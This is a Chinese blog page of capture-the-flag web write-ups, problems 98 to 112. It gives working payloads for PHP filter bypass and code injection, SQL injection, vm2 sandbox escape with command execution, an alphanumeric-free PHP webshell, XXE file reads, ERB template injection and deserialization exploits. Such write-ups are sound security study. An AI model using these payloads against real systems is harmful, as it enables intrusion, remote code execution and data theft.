Z1d10tのBlog

A note for myself,have fun!

  1. 1. 98、[BJDCTF2020]EzPH
  2. 2. 99、October 2019 Twice SQL Injectio
  3. 3. 100、[HFCTF2020]JustEscape
  4. 4. 101、[GXYCTF2019]StrongestMind
  5. 5. 102、[SUCTF 2018]GetShell
  6. 6. 103、[GKCTF 2021]easycms
  7. 7. 104、[b01lers2020]Life on Mars
  8. 8. 105、[MRCTF2020]Ezaudit
  9. 9. 106、[极客大挑战 2020]Roamphp1-Welcome
  10. 10. 107、[WMCTF2020]Make PHP Great Again
  11. 11. 108、[CSAWQual 2019]Web_Unagi
  12. 12. 109、[SCTF2019]Flag Shop
  13. 13. 110、[GYCTF2020]Easyphp
  14. 14. 111、[极客大挑战 2020]Greatphp
  15. 15. 112、EasyBypass

buu刷题(page 4)

98、[BJDCTF2020]EzPH

查看源码发现一段base32码GFXEIM3YFZYGQ4A= 特征是只有大写字母和数字

解码获得/1nD3x.php

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

首先$_SERVER['QUERY_STRING']和一个正则已经不可能让我们输入合法了,所以要想办法绕过这个$_SERVER['QUERY_STRING']

$_SERVER['QUERY_STRING']不对传入的东西进行url编码,所以我们可以进行全字符url编码后传入就可以bypass。

然后是经典的换行符%0a绕过preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

file_get_contents($file) !== 'debu_debu_aqua'利用data协议写入即可

sha1()和md5一样我们传入两个数组就会报false 从而bypass

$_REQUEST它包含了我们get、post和cookie传入的数组,他ban掉了数字和大小写,那这里应该怎么绕过呢。

如果get和post一样的参数名,它会优先选择post形式传入的参数的值。

所以我们可以按他的要求get传入,然后再post相同的变量名传参为数字,那么就可以bypass了

至此,我们要传入的部分为

1
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2

通过url编码:

1
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

这里注意一下这里符号以及数字没有被waf所以不要一键url编码了 数字和符号原样放出即可 如果一起编码,解码的时候就会出现歧义

再来看extract()简单说就是当我们传入一个含有键值对的数组时候,他就会帮我们把键值分别提出来键为变量名,值为变量的值。

再来看$code('', $arg)这一部分,这里我们可以利用前面的extract()来改变他们的值从而利用

这里用到了create_function()匿名函数注入,之前ctfshow刷题也见到过

1
2
3
4
5
6
7
8
9
10
11
$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于
function myfunc($a, $b){
return $a+$b;
}
利用sql注入的闭合思想
function myfunc($a, $b){
return $a+$b;
}
eval();//}
我们可以闭合前面的{ 然后注释掉后面的 } 再插入我们的恶意代码

因此我们可以利用extract传参:flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());//

获取当前所有变量数组

1
2
payload:
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=;}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

img

可以看到flag在 rea1fl4g.php

但是直接访问无结果,所以还得通过伪协议配合文件包含去读

看别人wp都是说因为禁用了include所以用require,但是我看源码没有禁include并且也用不了??

然后$code单双引号也不能用

既然我们是get传参的所以我们也不能用数字字母所以我们就用取反利用不可见字符来输入伪协议

1
2
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

最后的payload:

1
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=;}%72%65%71%75%69%72%65(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

post传入:debu=1&file=1

还有一种解法是用require()去包含我们的flag文件 rea1fl4g.php

然后再用 var_dump(get_defined_vars()去读

但是这里我们的.被禁了 所以利用base64函数 进行bypass

最终的paylaod:

1
file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//  

post: file=1&debu=2

当然要url编码打入

99、October 2019 Twice SQL Injectio

一道根据二次注入的题目

看题目标题也知道 然后我注册了admin’ 发现他登录后显示的语句不正常输出了 怀疑就是登录名存在二次注入

然后注册admin' union select database()#发现爆出了库名

img

然后就是联合注入和二次注入组合拳就行了 比较简单

1
2
3
4
5
6
7
8
admin' union select database() #

admin' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

admin' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

admin' union select flag from flag #

100、[HFCTF2020]JustEscape

一道没有思路的学习题目 vm的沙箱逃逸

看了网上的WP 好多都是没有分析只给了payload

大概学习了一下https://xz.aliyun.com/t/11859#toc-3

首先就是要通过奇怪的构造方式获取到全局process对象,这个全局对象下我们可以执行导入child_process,然后require('child_process').execSync('whoami').toString()进行命令执行了

看wp都是利用自执行函数 就是形如(function(){}) 或 (function(){})() 的表达式 ,被定义之后就会立即执行

过滤了['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

然后poc都是在这里淘宝:https://github.com/patriksimek/vm2/issues

通过模板字符串来bypass被waf的字符 其实本质就是格式化字符串

1
2
3
4
console.log(`${`${`prototyp`}e`}`)
console.log(`${`prototype`}`)

等于prototype

反引号来绕过单双引号

payload1:

1
2
3
4
5
6
7
8
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
})()

因为有waf所以要利用数组

看大佬wp

当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制

1
2
3
4
5
6
7
8
?code[]=(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("ls").toString();
}
})()

payload2就是利用模板字符串去bypass被waf的字符

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function (){
TypeError[`${`prototyp`}e`][`${`get_proces`}s`] = f=>f[`${`constructo`}r`](`return this.${`proces`}s`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`get_proces`}s`](()=>{}).mainModule[`${`requir`}e`](`${`child_proces`}s`)[`${`exe`}cSync`](`whoami`).toString();
}
}+')()';
console.log(untrusted)
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

payload:

1
2
3
4
5
6
7
8
?code=(function (){
TypeError[`${`prototyp`}e`][`${`get_proces`}s`] = f=>f[`${`constructo`}r`](`return this.${`proces`}s`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`get_proces`}s`](()=>{}).mainModule[`${`requir`}e`](`${`child_proces`}s`)[`${`exe`}cSync`](`ls`).toString();
}
})()

就暂时这样吧,做的云里雾里的。

101、[GXYCTF2019]StrongestMind

纯是考察python脚本

写个脚本爬下要求两个数字,计算,然后再post提交两个数字的结果,重复1000次。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from requests import *
import re
s = session()
a = s.get("http://6958b5bc-18e4-42b9-a6f1-aa7ac65e85b5.node4.buuoj.cn:81/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://6958b5bc-18e4-42b9-a6f1-aa7ac65e85b5.node4.buuoj.cn:81/index.php", data = {"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
//这里pattern=形如['36328928 + 88301757']是个list 那么可以用下标为0提出来36328928 + 88301757
print(c)
a = s.post("http://6958b5bc-18e4-42b9-a6f1-aa7ac65e85b5.node4.buuoj.cn:81/index.php", data = {"answer" : c})
print(a.text)

重要的点就是 我们要记录1000次数 所以要保存上一次的状态,要保存一下session

请求的时候 session().get 或者 session().post 可以保持我们的会话状态session 并且发送不同的请求

又学到了!!

img

102、[SUCTF 2018]GetShell

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

先文件包含将我们的文件内容读入然后检查第六位开始的内容

fuzz一下 看看哪些字符没有被waf

img

$()_[]~;.=这些没有被waf 还有汉字 这道题目就是利用汉字按位取反来getshell的

这里有个很重要的一点 在爆破时候一定要把urlencode关了,不然提交的时候bp会将特殊的符号url编码从而使得fuzz出错 我第一次就是因为这个fuzz不全

img

先得到1和0

1
2
3
4
5
<?=
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1

在PHP中两个空数组相互比较为true 所以值为1

那么该怎么得到字母呢 我们用汉字按位取反然后利用下标去截取我们需要的字符 这里最好选择的汉字去取反后能用的字符下标为0或者1 因为我们前面只构造出了01

可以参考p神的https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

img

这样我们就可以截取一个php的p 当然这道题目我们没必要构造出php 用短标签就行了

所以最后payload可以构造很多方式

偷的:https://blog.csdn.net/qq_46263951/article/details/118816182

1
2
3
4
5
6
7
8
<?=                //PHP中的另外一个短标签<?=,代替<?php
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[~瞎[$__]]); //system($_POST[a]);

打入 rce即可

img

103、[GKCTF 2021]easycms

看标题就知道是找后台 /admin

但是这道题目是admin.php 然后登录 考察弱口令 admin/12345就可以登录

img

可以看到是蝉知7.7的版本 那就直接检索这个版本的漏洞

但是这道题目buu靶场问题payload稍稍不同 导致花了好长时间一直卡在这

现在这里上传一个txt文件

img

然后改名为:../../../../../../../../../../../var/www/html/system/tmp/yzpc

注意这里的最后的yzpc每个人不一样 我们进入后台之后进入设计-高级直接点保存会爆出一个路径 里面每个人不一样

就是这个路径和网上许多师傅复现的路径不一样 应该是靶场问题

好多师傅都是修改为:../../../../../system/tmp/yzpc

但是这道题目要按我这种路径

img

之后写入恶意代码即可

img

还有一种就是我们上传完文件修改文件名以后在主题编辑里 编辑网站头部 直接写入php🐎即可

img

可以看到执行成功

img

104、[b01lers2020]Life on Mars

这道题难点还是在于怎么找到sql注入点 考察的只是联合注入

进入网页 抓包分析 会发现有请求

img

注入点如图

img

构造/query?search=amazonis_planitia%20union%20select%201,2 发现有回显 有两列

然后就是联合注入常规操作

1
2
3
4
5
6
7
8
9
10
11
12
/query?search=amazonis_planitia%20union%20select%201,database()


当前库:aliens


/query?search=amazonis_planitia%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='aliens'

表:amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin


/query?search=amazonis_planitia%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='olympus_mons'

注到这里 发现有很多表而且都没有flag

因此感觉flag不在当前库里

再查一下所有库吧 原来在alien_code这个库里

1
2
3
4
5
6
7
8
9
10
11
12
/query?search=amazonis_planitia%20union%20select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA
所有库:information_schema,alien_code,aliens
/query?search=amazonis_planitia%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='alien_code'

表:code
/query?search=amazonis_planitia%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='code
'
列:id,code

/query?search=amazonis_planitia%20union%20select%201,code%20from%20alien_code.code
这里要指定一下库 不然注不出来

105、[MRCTF2020]Ezaudit

之前就在buu上做过这类似的

首先进网页是一个花里胡哨的略过,然后扫后台发现源码泄露/www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

第一部分是一个登录 第二部分是公私钥 是个密码题????

审计第一部分

1
2
3
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];

我们需要知道用户名密码私钥 用户名是crispr已经给出 密码我们可以用万能钥匙去闭合 因此关键在于私钥

//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???最后一句提示我们要通过公钥算出种子 再利用种子生成私钥

首先要爆破一下种子

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

img

爆破得种子1775196155 并且下面的私钥要用5.2.1到7.0.x的版本去算 不然算出来不一样

我一开始用php8算的一直算的和wp不一样 版本要正确才行

再来算私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}



echo "public:".public_key();
echo " private:".private_key();

?>

得到 XuNhoueCDCGc

访问/login.html 登录即可

106、[极客大挑战 2020]Roamphp1-Welcome

这题太抽象了

首先进去什么也没有,然后抓包显示405状态码

HTTP状态码 405 表示请求的方法不允许。它是在客户端发送的请求方法与服务器上所允许的方法不匹配时使用的状态码。

所以默认是get 我们尝试抓包后改为post方式 爆出了源码

img

很常见的套路 数组绕过就行了

1
roam1[]=1&roam2[]=2

然后可以看phpinfo

img

发现了/f1444aagggg.php 额。。但是访问啥也没有 然后就可以在这个phpinfo找到flag???

不懂为啥这题放在buu的第四页

107、[WMCTF2020]Make PHP Great Again

这道题目主要考察了require_once

他和require差不多 require_once 也会在包含文件时执行其中的代码并将其结果包含到主脚本中。区别在于,在包含相同文件时,require_once 会检查该文件是否已经被包含过,如果是,则不再重复包含,避免出现重复定义的错误。

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once(‘flag.php’),已经包含的文件不可以再require_once。

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

源码中已经包含过了所以我们就无法再利用这个函数去包含flag文件

这里有个知识点

require_once()在对软链接的操作上存在一些缺陷,软连接层数较多会使hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下:

然后关于/proc/self/root

img

简单来说就是指向根目录的软链接

img

payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

这个我记得什么时候在ctfshow见过 反正又学到了

108、[CSAWQual 2019]Web_Unagi

这道题目目标还是很鲜明的 让我们上传文件 然后再把我们的内容展示出来 并且显示信息是xml格式的

所以我们可以上传xml文件进行xxe

一开始我上传的是:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE username [
<!ENTITY aaa SYSTEM "file:///flag"> ]>
<users>
<user>
<username>&aaa;</username>
<password>&aaa;</password>
<name>&aaa;</name>
<email>&aaa;</email>
<group>&aaa;</group>
<intro>&xxe;</intro>
</user>
</users>

但是无论我去掉flag system都是被waf了 看了wp才明白可以用其他编码绕过

在kali iconv -f utf8 -t utf16 1.xml>2.xml

iconv 是一个在 Linux 和 Unix 系统上常用的字符编码转换工具。它可以将一个字符集的文本转换为另一个字符集的文本。

img

这里有个坑就是在xml文件中一定要包括他本来就存在的<intro>&xxe;</intro>这个标签 不然其他标签回显flag不完整都是一般 只有在这个回显的完整的

img

109、[SCTF2019]Flag Shop

买flag 一眼丁真

img

就是伪造类似于session之类的去修改自己的钱数 然后再去买flag

但是需要key 抓个包 发现感觉是jwt

然后访问/robots.txt 爆出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

这是用ruby写的 虽然不懂语言 但是大致能明白干了个啥

还真是 jwt 看了一下key的生成 ENV["SECRET"] = SecureRandom.hex(64)这肯定我们无法伪造 然后就没思路了

看了wp 发现涉及ERB模板注入

ERB模板注入格式是<%=其他%>

直接来看怎样获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

params[:变量名]这里应该就是get请求名 虽然不太懂ruby 但是大致能猜出

params[:name][0,7]我们输入的name不能超过7个字符

前面说到我们只能输入7个字符的name 除去模板注入的<%=%>已经占据了五个字符 我们能控制的只有两个了

这里需要用到Ruby语言的一个特性 我们可以利用$'来返回正则匹配结果的右边

  • $' 最后一次模式匹配中匹配部分之后的字符串

比如hello world 设置匹配e 那么就会返回llo world

1
2
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]

这里就是在用环境中secret与我们输入的secret进行匹配 如果我们输入secret为空

那么$'就会帮我们完整的值输出

所以payload:

1
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

避免歧义进行url编码后打入

1
/work?SECRET=&name=%3C%25%3D$'%25%3E&do=%3C%25%3D$'%25%3E%20is%20working 

img

得到了key 然后jwt伪造 打入抓包 再解码就可以得到flag了

img

img

110、[GYCTF2020]Easyphp

代码审计先放着 太抽象了 大概看了一下涉及反序列化字符串逃逸 sql注入等等 之后再来填坑把。

111、[极客大挑战 2020]Greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

给了源码 那么最重要的就是这个等式成立

1
($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover))

一般我们可以通过传数组 就可以bypass 但是这道题目是在类中 所以这个方法就不能用了

因此这里用到了新知识点:md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以通过用含有__toString方法的内置类进行绕过,这里用的是Exception 和 Error (随便选一个哪个都可以)

他们有 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

一个简单的demo来理解 偷的

1
2
3
4
5
6
7
8
9
<?php
$a = new Error("payload",1);$b = new Error("payload",2);

echo $a;

echo "\r\n\r\n";

echo $b;
?>

这里我们将类当作字符串进行输出就会调用我们内置类中单__toString魔术方法

img

所以 $a!=$b但是我们输出的内容确是相同的

注意这里我们将$a = new Error("payload",1);$b = new Error("payload",2);放在同一行了 因为输出的内容包含我们的行数 所以为了满足条件成立 就要放在同一行

接着看正则将我们单双引号括号都waf了 我们可以include 包含flag文件 然后flag文件可以通过取反的方式绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a = new SYCLOVER();
$a->syc = new Error($str,1);$a->lover = new Error($str,2);#注意要在一行才行
echo urlencode(serialize($a));
?>

payload:?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22E%3A%5Ccode%5Ctest%5C1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A10%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22E%3A%5Ccode%5Ctest%5C1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A10%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

